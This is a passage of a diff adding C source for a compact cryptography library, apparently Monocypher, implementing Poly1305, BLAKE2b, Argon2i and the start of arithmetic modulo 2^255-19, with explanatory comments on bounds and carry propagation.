u64 s3 = ctx->h[3] + (u64)s[3]; // s3 <= 1_fffffffe + const u32 s4 = ctx->h[4] + end; // s4 <= 5 + + // Local all the things! + const u32 r0 = ctx->r[0]; // r0 <= 0fffffff + const u32 r1 = ctx->r[1]; // r1 <= 0ffffffc + const u32 r2 = ctx->r[2]; // r2 <= 0ffffffc + const u32 r3 = ctx->r[3]; // r3 <= 0ffffffc + const u32 rr0 = (r0 >> 2) * 5; // rr0 <= 13fffffb // lose 2 bits... + const u32 rr1 = (r1 >> 2) + r1; // rr1 <= 13fffffb // rr1 == (r1 >> 2) * 5 + const u32 rr2 = (r2 >> 2) + r2; // rr2 <= 13fffffb // rr1 == (r2 >> 2) * 5 + const u32 rr3 = (r3 >> 2) + r3; // rr3 <= 13fffffb // rr1 == (r3 >> 2) * 5 + + // (h + c) * r, without carry propagation + const u64 x0 = s0*r0+ s1*rr3+ s2*rr2+ s3*rr1+ s4*rr0; // <= 97ffffe007fffff8 + const u64 x1 = s0*r1+ s1*r0 + s2*rr3+ s3*rr2+ s4*rr1; // <= 8fffffe20ffffff6 + const u64 x2 = s0*r2+ s1*r1 + s2*r0 + s3*rr3+ s4*rr2; // <= 87ffffe417fffff4 + const u64 x3 = s0*r3+ s1*r2 + s2*r1 + s3*r0 + s4*rr3; // <= 7fffffe61ffffff2 + const u32 x4 = s4 * (r0 & 3); // ...recover 2 bits // <= f + + // partial reduction modulo 2^130 - 5 + const u32 u5 = x4 + (x3 >> 32); // u5 <= 7ffffff5 + const u64 u0 = (u5 >> 2) * 5 + (x0 & 0xffffffff); + const u64 u1 = (u0 >> 32) + (x1 & 0xffffffff) + (x0 >> 32); + const u64 u2 = (u1 >> 32) + (x2 & 0xffffffff) + (x1 >> 32); + const u64 u3 = (u2 >> 32) + (x3 & 0xffffffff) + (x2 >> 32); + const u64 u4 = (u3 >> 32) + (u5 & 3); + + // Update the hash + ctx->h[0] = (u32)u0; // u0 <= 1_9ffffff0 + ctx->h[1] = (u32)u1; // u1 <= 1_97ffffe0 + ctx->h[2] = (u32)u2; // u2 <= 1_8fffffe2 + ctx->h[3] = (u32)u3; // u3 <= 1_87ffffe4 + ctx->h[4] = (u32)u4; // u4 <= 4 +} + +void crypto_poly1305_init(crypto_poly1305_ctx *ctx, const u8 key[32]) +{ + ZERO(ctx->h, 5); // Initial hash is zero + ctx->c_idx = 0; + // load r and pad (r has some of its bits cleared) + load32_le_buf(ctx->r , key , 4); + load32_le_buf(ctx->pad, key+16, 4); + FOR (i, 0, 1) { ctx->r[i] &= 0x0fffffff; } + FOR (i, 1, 4) { ctx->r[i] &= 0x0ffffffc; } +} + +void crypto_poly1305_update(crypto_poly1305_ctx *ctx, + const u8 *message, size_t message_size) +{ + // Align ourselves with block boundaries + size_t aligned = MIN(align(ctx->c_idx, 16), message_size); + FOR (i, 0, aligned) { + ctx->c[ctx->c_idx] = *message; + ctx->c_idx++; + message++; + message_size--; + } + + // If block is complete, process it + if (ctx->c_idx == 16) { + poly_block(ctx, ctx->c, 1); + ctx->c_idx = 0; + } + + // Process the message block by block + size_t nb_blocks = message_size >> 4; + FOR (i, 0, nb_blocks) { + poly_block(ctx, message, 1); + message += 16; + } + message_size &= 15; + + // remaining bytes (we never complete a block here) + FOR (i, 0, message_size) { + ctx->c[ctx->c_idx] = message[i]; + ctx->c_idx++; + } +} + +void crypto_poly1305_final(crypto_poly1305_ctx *ctx, u8 mac[16]) +{ + // Process the last block (if any) + // We move the final 1 according to remaining input length + // (this will add less than 2^130 to the last input block) + if (ctx->c_idx != 0) { + ZERO(ctx->c + ctx->c_idx, 16 - ctx->c_idx); + ctx->c[ctx->c_idx] = 1; + poly_block(ctx, ctx->c, 0); + } + + // check if we should subtract 2^130-5 by performing the + // corresponding carry propagation. + u64 c = 5; + FOR (i, 0, 4) { + c += ctx->h[i]; + c >>= 32; + } + c += ctx->h[4]; + c = (c >> 2) * 5; // shift the carry back to the beginning + // c now indicates how many times we should subtract 2^130-5 (0 or 1) + FOR (i, 0, 4) { + c += (u64)ctx->h[i] + ctx->pad[i]; + store32_le(mac + i*4, (u32)c); + c = c >> 32; + } + WIPE_CTX(ctx); +} + +void crypto_poly1305(u8 mac[16], const u8 *message, + size_t message_size, const u8 key[32]) +{ + crypto_poly1305_ctx ctx; + crypto_poly1305_init (&ctx, key); + crypto_poly1305_update(&ctx, message, message_size); + crypto_poly1305_final (&ctx, mac); +} + +//////////////// +/// BLAKE2 b /// +//////////////// +static const u64 iv[8] = { + 0x6a09e667f3bcc908, 0xbb67ae8584caa73b, + 0x3c6ef372fe94f82b, 0xa54ff53a5f1d36f1, + 0x510e527fade682d1, 0x9b05688c2b3e6c1f, + 0x1f83d9abfb41bd6b, 0x5be0cd19137e2179, +}; + +static void blake2b_compress(crypto_blake2b_ctx *ctx, int is_last_block) +{ + static const u8 sigma[12][16] = { + { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }, + { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 }, + { 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4 }, + { 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8 }, + { 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13 }, + { 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9 }, + { 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11 }, + { 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10 }, + { 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5 }, + { 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0 }, + { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 }, + { 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3 }, + }; + + // increment input offset + u64 *x = ctx->input_offset; + size_t y = ctx->input_idx; + x[0] += y; + if (x[0] < y) { + x[1]++; + } + + // init work vector + u64 v0 = ctx->hash[0]; u64 v8 = iv[0]; + u64 v1 = ctx->hash[1]; u64 v9 = iv[1]; + u64 v2 = ctx->hash[2]; u64 v10 = iv[2]; + u64 v3 = ctx->hash[3]; u64 v11 = iv[3]; + u64 v4 = ctx->hash[4]; u64 v12 = iv[4] ^ ctx->input_offset[0]; + u64 v5 = ctx->hash[5]; u64 v13 = iv[5] ^ ctx->input_offset[1]; + u64 v6 = ctx->hash[6]; u64 v14 = iv[6] ^ (u64)~(is_last_block - 1); + u64 v7 = ctx->hash[7]; u64 v15 = iv[7]; + + // mangle work vector + u64 *input = ctx->input; +#define BLAKE2_G(a, b, c, d, x, y) \ + a += b + x; d = rotr64(d ^ a, 32); \ + c += d; b = rotr64(b ^ c, 24); \ + a += b + y; d = rotr64(d ^ a, 16); \ + c += d; b = rotr64(b ^ c, 63) +#define BLAKE2_ROUND(i) \ + BLAKE2_G(v0, v4, v8 , v12, input[sigma[i][ 0]], input[sigma[i][ 1]]); \ + BLAKE2_G(v1, v5, v9 , v13, input[sigma[i][ 2]], input[sigma[i][ 3]]); \ + BLAKE2_G(v2, v6, v10, v14, input[sigma[i][ 4]], input[sigma[i][ 5]]); \ + BLAKE2_G(v3, v7, v11, v15, input[sigma[i][ 6]], input[sigma[i][ 7]]); \ + BLAKE2_G(v0, v5, v10, v15, input[sigma[i][ 8]], input[sigma[i][ 9]]); \ + BLAKE2_G(v1, v6, v11, v12, input[sigma[i][10]], input[sigma[i][11]]); \ + BLAKE2_G(v2, v7, v8 , v13, input[sigma[i][12]], input[sigma[i][13]]); \ + BLAKE2_G(v3, v4, v9 , v14, input[sigma[i][14]], input[sigma[i][15]]) + +#ifdef BLAKE2_NO_UNROLLING + FOR (i, 0, 12) { + BLAKE2_ROUND(i); + } +#else + BLAKE2_ROUND(0); BLAKE2_ROUND(1); BLAKE2_ROUND(2); BLAKE2_ROUND(3); + BLAKE2_ROUND(4); BLAKE2_ROUND(5); BLAKE2_ROUND(6); BLAKE2_ROUND(7); + BLAKE2_ROUND(8); BLAKE2_ROUND(9); BLAKE2_ROUND(10); BLAKE2_ROUND(11); +#endif + + // update hash + ctx->hash[0] ^= v0 ^ v8; ctx->hash[1] ^= v1 ^ v9; + ctx->hash[2] ^= v2 ^ v10; ctx->hash[3] ^= v3 ^ v11; + ctx->hash[4] ^= v4 ^ v12; ctx->hash[5] ^= v5 ^ v13; + ctx->hash[6] ^= v6 ^ v14; ctx->hash[7] ^= v7 ^ v15; +} + +static void blake2b_set_input(crypto_blake2b_ctx *ctx, u8 input, size_t index) +{ + if (index == 0) { + ZERO(ctx->input, 16); + } + size_t word = index >> 3; + size_t byte = index & 7; + ctx->input[word] |= (u64)input << (byte << 3); +} + +void crypto_blake2b_general_init(crypto_blake2b_ctx *ctx, size_t hash_size, + const u8 *key, size_t key_size) +{ + // initial hash + COPY(ctx->hash, iv, 8); + ctx->hash[0] ^= 0x01010000 ^ (key_size << 8) ^ hash_size; + + ctx->input_offset[0] = 0; // beginning of the input, no offset + ctx->input_offset[1] = 0; // beginning of the input, no offset + ctx->hash_size = hash_size; // remember the hash size we want + ctx->input_idx = 0; + + // if there is a key, the first block is that key (padded with zeroes) + if (key_size > 0) { + u8 key_block[128] = {0}; + COPY(key_block, key, key_size); + // same as calling crypto_blake2b_update(ctx, key_block , 128) + load64_le_buf(ctx->input, key_block, 16); + ctx->input_idx = 128; + } +} + +void crypto_blake2b_init(crypto_blake2b_ctx *ctx) +{ + crypto_blake2b_general_init(ctx, 64, 0, 0); +} + +void crypto_blake2b_update(crypto_blake2b_ctx *ctx, + const u8 *message, size_t message_size) +{ + // Align ourselves with block boundaries + // The block that may result is not compressed yet + size_t aligned = MIN(align(ctx->input_idx, 128), message_size); + FOR (i, 0, aligned) { + blake2b_set_input(ctx, *message, ctx->input_idx); + ctx->input_idx++; + message++; + message_size--; + } + + // Process the message block by block + // The last block is not compressed yet. + size_t nb_blocks = message_size >> 7; + FOR (i, 0, nb_blocks) { + if (ctx->input_idx == 128) { + blake2b_compress(ctx, 0); + } + load64_le_buf(ctx->input, message, 16); + message += 128; + ctx->input_idx = 128; + } + message_size &= 127; + + // Fill remaining bytes (not the whole buffer) + // The last block is never fully filled + FOR (i, 0, message_size) { + if (ctx->input_idx == 128) { + blake2b_compress(ctx, 0); + ctx->input_idx = 0; + } + blake2b_set_input(ctx, message[i], ctx->input_idx); + ctx->input_idx++; + } +} + +void crypto_blake2b_final(crypto_blake2b_ctx *ctx, u8 *hash) +{ + // Pad the end of the block with zeroes + FOR (i, ctx->input_idx, 128) { + blake2b_set_input(ctx, 0, i); + } + blake2b_compress(ctx, 1); // compress the last block + size_t nb_words = ctx->hash_size >> 3; + store64_le_buf(hash, ctx->hash, nb_words); + FOR (i, nb_words << 3, ctx->hash_size) { + hash[i] = (ctx->hash[i >> 3] >> (8 * (i & 7))) & 0xff; + } + WIPE_CTX(ctx); +} + +void crypto_blake2b_general(u8 *hash , size_t hash_size, + const u8 *key , size_t key_size, + const u8 *message, size_t message_size) +{ + crypto_blake2b_ctx ctx; + crypto_blake2b_general_init(&ctx, hash_size, key, key_size); + crypto_blake2b_update(&ctx, message, message_size); + crypto_blake2b_final(&ctx, hash); +} + +void crypto_blake2b(u8 hash[64], const u8 *message, size_t message_size) +{ + crypto_blake2b_general(hash, 64, 0, 0, message, message_size); +} + +static void blake2b_vtable_init(void *ctx) { + crypto_blake2b_init(&((crypto_sign_ctx*)ctx)->hash); +} +static void blake2b_vtable_update(void *ctx, const u8 *m, size_t s) { + crypto_blake2b_update(&((crypto_sign_ctx*)ctx)->hash, m, s); +} +static void blake2b_vtable_final(void *ctx, u8 *h) { + crypto_blake2b_final(&((crypto_sign_ctx*)ctx)->hash, h); +} +const crypto_sign_vtable crypto_blake2b_vtable = { + crypto_blake2b, + blake2b_vtable_init, + blake2b_vtable_update, + blake2b_vtable_final, + sizeof(crypto_sign_ctx), +}; + +//////////////// +/// Argon2 i /// +//////////////// +// references to R, Z, Q etc. come from the spec + +// Argon2 operates on 1024 byte blocks. +typedef struct { u64 a[128]; } block; + +static void wipe_block(block *b) +{ + volatile u64* a = b->a; + ZERO(a, 128); +} + +// updates a BLAKE2 hash with a 32 bit word, little endian. +static void blake_update_32(crypto_blake2b_ctx *ctx, u32 input) +{ + u8 buf[4]; + store32_le(buf, input); + crypto_blake2b_update(ctx, buf, 4); + WIPE_BUFFER(buf); +} + +static void load_block(block *b, const u8 bytes[1024]) +{ + load64_le_buf(b->a, bytes, 128); +} + +static void store_block(u8 bytes[1024], const block *b) +{ + store64_le_buf(bytes, b->a, 128); +} + +static void copy_block(block *o,const block*in){FOR(i,0,128)o->a[i] = in->a[i];} +static void xor_block(block *o,const block*in){FOR(i,0,128)o->a[i]^= in->a[i];} + +// Hash with a virtually unlimited digest size. +// Doesn't extract more entropy than the base hash function. +// Mainly used for filling a whole kilobyte block with pseudo-random bytes. +// (One could use a stream cipher with a seed hash as the key, but +// this would introduce another dependency —and point of failure.) +static void extended_hash(u8 *digest, u32 digest_size, + const u8 *input , u32 input_size) +{ + crypto_blake2b_ctx ctx; + crypto_blake2b_general_init(&ctx, MIN(digest_size, 64), 0, 0); + blake_update_32 (&ctx, digest_size); + crypto_blake2b_update (&ctx, input, input_size); + crypto_blake2b_final (&ctx, digest); + + if (digest_size > 64) { + // the conversion to u64 avoids integer overflow on + // ludicrously big hash sizes. + u32 r = (u32)(((u64)digest_size + 31) >> 5) - 2; + u32 i = 1; + u32 in = 0; + u32 out = 32; + while (i < r) { + // Input and output overlap. This is intentional + crypto_blake2b(digest + out, digest + in, 64); + i += 1; + in += 32; + out += 32; + } + crypto_blake2b_general(digest + out, digest_size - (32 * r), + 0, 0, // no key + digest + in , 64); + } +} + +#define LSB(x) ((x) & 0xffffffff) +#define G(a, b, c, d) \ + a += b + 2 * LSB(a) * LSB(b); d ^= a; d = rotr64(d, 32); \ + c += d + 2 * LSB(c) * LSB(d); b ^= c; b = rotr64(b, 24); \ + a += b + 2 * LSB(a) * LSB(b); d ^= a; d = rotr64(d, 16); \ + c += d + 2 * LSB(c) * LSB(d); b ^= c; b = rotr64(b, 63) +#define ROUND(v0, v1, v2, v3, v4, v5, v6, v7, \ + v8, v9, v10, v11, v12, v13, v14, v15) \ + G(v0, v4, v8, v12); G(v1, v5, v9, v13); \ + G(v2, v6, v10, v14); G(v3, v7, v11, v15); \ + G(v0, v5, v10, v15); G(v1, v6, v11, v12); \ + G(v2, v7, v8, v13); G(v3, v4, v9, v14) + +// Core of the compression function G. Computes Z from R in place. +static void g_rounds(block *work_block) +{ + // column rounds (work_block = Q) + for (int i = 0; i < 128; i += 16) { + ROUND(work_block->a[i ], work_block->a[i + 1], + work_block->a[i + 2], work_block->a[i + 3], + work_block->a[i + 4], work_block->a[i + 5], + work_block->a[i + 6], work_block->a[i + 7], + work_block->a[i + 8], work_block->a[i + 9], + work_block->a[i + 10], work_block->a[i + 11], + work_block->a[i + 12], work_block->a[i + 13], + work_block->a[i + 14], work_block->a[i + 15]); + } + // row rounds (work_block = Z) + for (int i = 0; i < 16; i += 2) { + ROUND(work_block->a[i ], work_block->a[i + 1], + work_block->a[i + 16], work_block->a[i + 17], + work_block->a[i + 32], work_block->a[i + 33], + work_block->a[i + 48], work_block->a[i + 49], + work_block->a[i + 64], work_block->a[i + 65], + work_block->a[i + 80], work_block->a[i + 81], + work_block->a[i + 96], work_block->a[i + 97], + work_block->a[i + 112], work_block->a[i + 113]); + } +} + +// Argon2i uses a kind of stream cipher to determine which reference +// block it will take to synthesise the next block. This context hold +// that stream's state. (It's very similar to Chacha20. The block b +// is analogous to Chacha's own pool) +typedef struct { + block b; + u32 pass_number; + u32 slice_number; + u32 nb_blocks; + u32 nb_iterations; + u32 ctr; + u32 offset; +} gidx_ctx; + +// The block in the context will determine array indices. To avoid +// timing attacks, it only depends on public information. No looking +// at a previous block to seed the next. This makes offline attacks +// easier, but timing attacks are the bigger threat in many settings. +static void gidx_refresh(gidx_ctx *ctx) +{ + // seed the beginning of the block... + ctx->b.a[0] = ctx->pass_number; + ctx->b.a[1] = 0; // lane number (we have only one) + ctx->b.a[2] = ctx->slice_number; + ctx->b.a[3] = ctx->nb_blocks; + ctx->b.a[4] = ctx->nb_iterations; + ctx->b.a[5] = 1; // type: Argon2i + ctx->b.a[6] = ctx->ctr; + ZERO(ctx->b.a + 7, 121); // ...then zero the rest out + + // Shuffle the block thus: ctx->b = G((G(ctx->b, zero)), zero) + // (G "square" function), to get cheap pseudo-random numbers. + block tmp; + copy_block(&tmp, &ctx->b); + g_rounds (&ctx->b); + xor_block (&ctx->b, &tmp); + copy_block(&tmp, &ctx->b); + g_rounds (&ctx->b); + xor_block (&ctx->b, &tmp); + wipe_block(&tmp); +} + +static void gidx_init(gidx_ctx *ctx, + u32 pass_number, u32 slice_number, + u32 nb_blocks, u32 nb_iterations) +{ + ctx->pass_number = pass_number; + ctx->slice_number = slice_number; + ctx->nb_blocks = nb_blocks; + ctx->nb_iterations = nb_iterations; + ctx->ctr = 0; + + // Offset from the beginning of the segment. For the first slice + // of the first pass, we start at the *third* block, so the offset + // starts at 2, not 0. + if (pass_number != 0 || slice_number != 0) { + ctx->offset = 0; + } else { + ctx->offset = 2; + ctx->ctr++; // Compensates for missed lazy creation + gidx_refresh(ctx); // at the start of gidx_next() + } +} + +static u32 gidx_next(gidx_ctx *ctx) +{ + // lazily creates the offset block we need + if ((ctx->offset & 127) == 0) { + ctx->ctr++; + gidx_refresh(ctx); + } + u32 index = ctx->offset & 127; // save index for current call + u32 offset = ctx->offset; // save offset for current call + ctx->offset++; // update offset for next call + + // Computes the area size. + // Pass 0 : all already finished segments plus already constructed + // blocks in this segment + // Pass 1+: 3 last segments plus already constructed + // blocks in this segment. THE SPEC SUGGESTS OTHERWISE. + // I CONFORM TO THE REFERENCE IMPLEMENTATION. + int first_pass = ctx->pass_number == 0; + u32 slice_size = ctx->nb_blocks >> 2; + u32 nb_segments = first_pass ? ctx->slice_number : 3; + u32 area_size = nb_segments * slice_size + offset - 1; + + // Computes the starting position of the reference area. + // CONTRARY TO WHAT THE SPEC SUGGESTS, IT STARTS AT THE + // NEXT SEGMENT, NOT THE NEXT BLOCK. + u32 next_slice = ((ctx->slice_number + 1) & 3) * slice_size; + u32 start_pos = first_pass ? 0 : next_slice; + + // Generate offset from J1 (no need for J2, there's only one lane) + u64 j1 = ctx->b.a[index] & 0xffffffff; // pseudo-random number + u64 x = (j1 * j1) >> 32; + u64 y = (area_size * x) >> 32; + u64 z = (area_size - 1) - y; + u64 ref = start_pos + z; // ref < 2 * nb_blocks + return (u32)(ref < ctx->nb_blocks ? ref : ref - ctx->nb_blocks); +} + +// Main algorithm +void crypto_argon2i_general(u8 *hash, u32 hash_size, + void *work_area, u32 nb_blocks, + u32 nb_iterations, + const u8 *password, u32 password_size, + const u8 *salt, u32 salt_size, + const u8 *key, u32 key_size, + const u8 *ad, u32 ad_size) +{ + // work area seen as blocks (must be suitably aligned) + block *blocks = (block*)work_area; + { + crypto_blake2b_ctx ctx; + crypto_blake2b_init(&ctx); + + blake_update_32 (&ctx, 1 ); // p: number of threads + blake_update_32 (&ctx, hash_size ); + blake_update_32 (&ctx, nb_blocks ); + blake_update_32 (&ctx, nb_iterations); + blake_update_32 (&ctx, 0x13 ); // v: version number + blake_update_32 (&ctx, 1 ); // y: Argon2i + blake_update_32 (&ctx, password_size); + crypto_blake2b_update(&ctx, password, password_size); + blake_update_32 (&ctx, salt_size); + crypto_blake2b_update(&ctx, salt, salt_size); + blake_update_32 (&ctx, key_size); + crypto_blake2b_update(&ctx, key, key_size); + blake_update_32 (&ctx, ad_size); + crypto_blake2b_update(&ctx, ad, ad_size); + + u8 initial_hash[72]; // 64 bytes plus 2 words for future hashes + crypto_blake2b_final(&ctx, initial_hash); + + // fill first 2 blocks + u8 hash_area[1024]; + store32_le(initial_hash + 64, 0); // first additional word + store32_le(initial_hash + 68, 0); // second additional word + extended_hash(hash_area, 1024, initial_hash, 72); + load_block(blocks, hash_area); + + store32_le(initial_hash + 64, 1); // slight modification + extended_hash(hash_area, 1024, initial_hash, 72); + load_block(blocks + 1, hash_area); + + WIPE_BUFFER(initial_hash); + WIPE_BUFFER(hash_area); + } + + // Actual number of blocks + nb_blocks -= nb_blocks & 3; // round down to 4 p (p == 1 thread) + const u32 segment_size = nb_blocks >> 2; + + // fill (then re-fill) the rest of the blocks + block tmp; + gidx_ctx ctx; // public information, no need to wipe + FOR_T (u32, pass_number, 0, nb_iterations) { + int first_pass = pass_number == 0; + + FOR_T (u32, segment, 0, 4) { + gidx_init(&ctx, pass_number, segment, nb_blocks, nb_iterations); + + // On the first segment of the first pass, + // blocks 0 and 1 are already filled. + // We use the offset to skip them. + u32 start_offset = first_pass && segment == 0 ? 2 : 0; + u32 segment_start = segment * segment_size + start_offset; + u32 segment_end = (segment + 1) * segment_size; + FOR_T (u32, current_block, segment_start, segment_end) { + block *reference = blocks + gidx_next(&ctx); + block *current = blocks + current_block; + block *previous = current_block == 0 + ? blocks + nb_blocks - 1 + : blocks + current_block - 1; + // Apply compression function G, + // And copy it (or XOR it) to the current block. + copy_block(&tmp, previous); + xor_block (&tmp, reference); + if (first_pass) { copy_block(current, &tmp); } + else { xor_block (current, &tmp); } + g_rounds (&tmp); + xor_block (current, &tmp); + } + } + } + wipe_block(&tmp); + u8 final_block[1024]; + store_block(final_block, blocks + (nb_blocks - 1)); + + // wipe work area + volatile u64 *p = (u64*)work_area; + ZERO(p, 128 * nb_blocks); + + // hash the very last block with H' into the output hash + extended_hash(hash, hash_size, final_block, 1024); + WIPE_BUFFER(final_block); +} + +void crypto_argon2i(u8 *hash, u32 hash_size, + void *work_area, u32 nb_blocks, u32 nb_iterations, + const u8 *password, u32 password_size, + const u8 *salt, u32 salt_size) +{ + crypto_argon2i_general(hash, hash_size, work_area, nb_blocks, nb_iterations, + password, password_size, salt , salt_size, 0,0,0,0); +} + +//////////////////////////////////// +/// Arithmetic modulo 2^255 - 19 /// +//////////////////////////////////// +// Originally taken from SUPERCOP's ref10 implementation. +// A bit bigger than TweetNaCl, over 4 times faster. + +// field element +typedef i32 fe[10]; + +// field constants +// +// fe_one : 1 +// sqrtm1 : sqrt(-1) +// d : -121665 / 121666 +// D2 : 2 * -121665 / 121666 +// lop_x, lop_y: low order point in Edwards coordinates +// ufactor : -sqrt(-1) * 2 +// A2 : 486662^2 (A squared) +static const fe fe_one = {1}; +static const fe sqrtm1 = {-32595792, -7943725, 9377950, 3500415, 12389472, + -272473, -25146209, -2005654, 326686, 11406482,}; +static const fe d = {-10913610, 13857413, -15372611, 6949391, 114729, + -8787816, -6275908, -3247719, -18696448, -12055116,}; +static const fe D2 = {-21827239, -5839606, -30745221, 13898782, 229458, + 15978800, -12551817, -6495438, 29715968, 9444199,}; +static const fe lop_x = {21352778, 5345713, 4660180, -8347857, 24143090, + 14568123, 30185756, -12247770, -33528939, 8345319,}; +static const fe lop_y = {-6952922, -1265500, 6862341, -7057498, -4037696, + -5447722, 31680899, -15325402, -19365852, 1569102,}; +static const fe ufactor = {-1917299, 15887451, -18755900, -7000830, -24778944, + 544946, -16816446, 4011309, -653372, 10741468,}; +static const fe A2 = {12721188, 3529, 0, 0, 0, 0, 0, 0, 0, 0,}; + +static void fe_0(fe h) { ZERO(h , 10); } +static void fe_1(fe h) { h[0] = 1; ZERO(h+1, 9); } + +static void fe_copy(fe h,const fe f ){FOR(i,0,10) h[i] = f[i]; } +static void fe_neg (fe h,const fe f ){FOR(i,0,10) h[i] = -f[i]; } +static void fe_add (fe h,const fe f,const fe g){FOR(i,0,10) h[i] = f[i] + g[i];} +static void fe_sub (fe h,const fe f,const fe g){FOR(i,0,10) h[i] = f[i] - g[i];} + +static void fe_cswap(fe f, fe g, int b) +{ + i32 mask = -b; // -1 = 0xffffffff + FOR (i, 0, 10) { + i32 x = (f[i] ^ g[i]) & mask; + f[i] = f[i] ^ x; + g[i] = g[i] ^ x; + } +} + +static void fe_ccopy(fe f, const fe g, int b) +{ + i32 mask = -b; // -1 = 0xffffffff + FOR (i, 0, 10) { + i32 x = (f[i] ^ g[i]) & mask; + f[i] = f[i] ^ x; + } +} + + +// Signed carry propagation +// ------------------------ +// +// Let t be a number. It can be uniquely decomposed thus: +// +// t = h*2^26 + l +// such that -2^25 <= l < 2^25 +// +// Let c = (t + 2^25) / 2^26 (rounded down) +// c = (h*2^26 + l + 2^25) / 2^26 (rounded down) +// c = h + (l + 2^25) / 2^26 (rounded down) +// c = h (exactly) +// Because 0 <= l + 2^25 < 2^26 +// +// Let u = t - c*2^26 +// u = h*2^26 + l - h*2^26 +// u = l +// Therefore, -2^25 <= u < 2^25 +// +// Additionally, if |t| < x, then |h| < x/2^26 (rounded down) +// +// Notations: +// - In C, 1<<25 means 2^25. +// - In C, x>>25 means floor(x / (2^25)). +// - All of the above applies with 25 & 24 as well as 26 & 25. +// +// +// Note on negative right shifts +// ----------------------------- +// +// In C, x >> n, where x is a negative integer, is implementation +// defined. In practice, all platforms do arithmetic shift, which is +// equivalent to division by 2^26, rounded down. Some compilers, like +// GCC, even guarantee it. +// +// If we ever stumble upon a platform that does not propagate the sign +// bit (we won't), visible failures will show at the slightest test, and +// the signed shifts can be replaced by the following: +// +// typedef struct { i64 x:39; } s25; +// typedef struct { i64 x:38; } s26; +// i64 shift25(i64 x) { s25 s; s.x = ((u64)x)>>25; return s.x; } +// i64 shift26(i64 x) { s26 s; s.x = ((u64)x)>>26; return s.x; } +// +// Current compilers cannot optimise this, causing a 30% drop in +// performance. Fairly expensive for something that never happens. +// +// +// Precondition +// ------------ +// +// |t0| < 2^63 +// |t1|..|t9| < 2^62 +// +// Algorithm +// --------- +// c = t0 + 2^25 / 2^26 -- |c| <= 2^36 +// t0 -= c * 2^26 -- |t0| <= 2^25 +// t1 += c -- |t1| <= 2^63 +// +// c = t4 + 2^25 / 2^26 -- |c| <= 2^36 +// t4 -= c * 2^26 -- |t4| <= 2^25 +// t5 += c -- |t5| <= 2^63 +// +// c = t1 + 2^24 / 2^25 -- |c| <= 2^38 +// t1 -= c * 2^25 -- |t1| <= 2^24 +// t2 += c -- |t2| <= 2^63 +// +// c = t5 + 2^24 / 2^25 -- |c| <= 2^38 +// t5 -= c * 2^25 -- |t5| <= 2^24 +// t6 += c -- |t6| <= 2^63 +// +// c = t2 + 2^25 / 2^26 -- |c| <= 2^37 +// t2 -= c * 2^26 -- |t2| <= 2^25 < 1.1 * 2^25 (final t2) +// t3 += c -- |t3| <= 2^63 +// +// c = t6 + 2^25 / 2^26 -- |c| <= 2^37 +// t6 -= c * 2^26 -- |t6| <= 2^25 < 1.1 * 2^25 (final t6) +// t7 += c -- |t7| <= 2^63 +// +// c = t3 + 2^24 / 2^25 -- |c| <= 2^38 +// t3 -= c * 2^25 -- |t3| <= 2^24 < 1.1 * 2^24 (final t3) +// t4 += c -- |t4| <= 2^25 + 2^38 < 2^39 +// +// c = t7 + 2^24 / 2^25 -- |c| <= 2^38 +// t7 -= c * 2^25 -- |t7| <= 2^24 < 1.1 * 2^24 (final t7) +// t8 += c -- |t8| <= 2^63 +// +// c = t4 + 2^25 / 2^26 -- |c| <= 2^13 +// t4 -= c * 2^26 -- |t4| <= 2^25 < 1.1 * 2^25 (final t4) +// t5 += c -- |t5| <= 2^24 + 2^13 < 1.1 * 2^24 (final t5) +// +// c = t8 + 2^25 / 2^26 -- |c| <= 2^37 +// t8 -= c * 2^26 -- |t8| <= 2^25 < 1.1 * 2^25 (final t8) +// t9 += c -- |t9| <= 2^63 +// +// c = t9 + 2^24 / 2^25 -- |c| <= 2^38 +// t9 -= c * 2^25 -- |t9| <= 2^24 < 1.1 * 2^24 (final t9) +// t0 += c * 19 -- |t0| <= 2^25 + 2^38*19 < 2^44 +// +// c = t0 + 2^25 / 2^26 -- |c| <= 2^18 +// t0 -= c * 2^26 -- |t0| <= 2^25 < 1.1 * 2^25 (final t0) +// t1 += c -- |t1| <= 2^24 + 2^18 < 1.1 * 2^24 (final t1) +// +// Postcondition +// ------------- +// |t0|, |t2|, |t4|, |t6|, |t8| < 1.1 * 2^25 +// |t1|, |t3|, |t5|, |t7|, |t9| < 1.1 * 2^24 +#define FE_CARRY \ + i64 c; \ + c = (t0 + ((i64)1<<25)) >> 26; t0 -= c * ((i64)1 << 26); t1 += c; \ + c = (t4 + ((i64)1<<25)) >> 26; t4 -= c * ((i64)1 << 26); t5 += c; \ + c = (t1 + ((i64)1<<24)) >> 25; t1 -= c * ((i64)1 << 25); t2 += c; \ + c = (t5 + ((i64)1<<24)) >> 25; t5 -= c * ((i64)1 << 25); t6 += c; \ + c = (t2 + ((i64)1<<25)) >> 26; t2 -= c * ((i64)1 << 26); t3 += c; \ + c = (t6 + ((i64)1<<25)) >> 26; t6 -= c * ((i64)1 << 26); t7 += c; \ + c = (t3 + ((i64)1<<24)) >> 25; t3 -= c * ((i64)1 << 25); t4 += c; \ + c = (t7 + ((i64)1<<24)) >> 25; t7 -= c * ((i64)1 << 25); t8 += c; \ + c = (t4 + ((i64)1<<25)) >> 26; t4 -= c * ((i64)1 << 26); t5 += c; \ + c = (t8 + ((i64)1<<25)) >> 26; t8 -= c * ((i64)1 << 26); t9 += c; \ + c = (t9 + ((i64)1<<24)) >> 25; t9 -= c * ((i64)1 << 25); t0 += c * 19; \ + c = (t0 + ((i64)1<<25)) >> 26; t0 -= c * 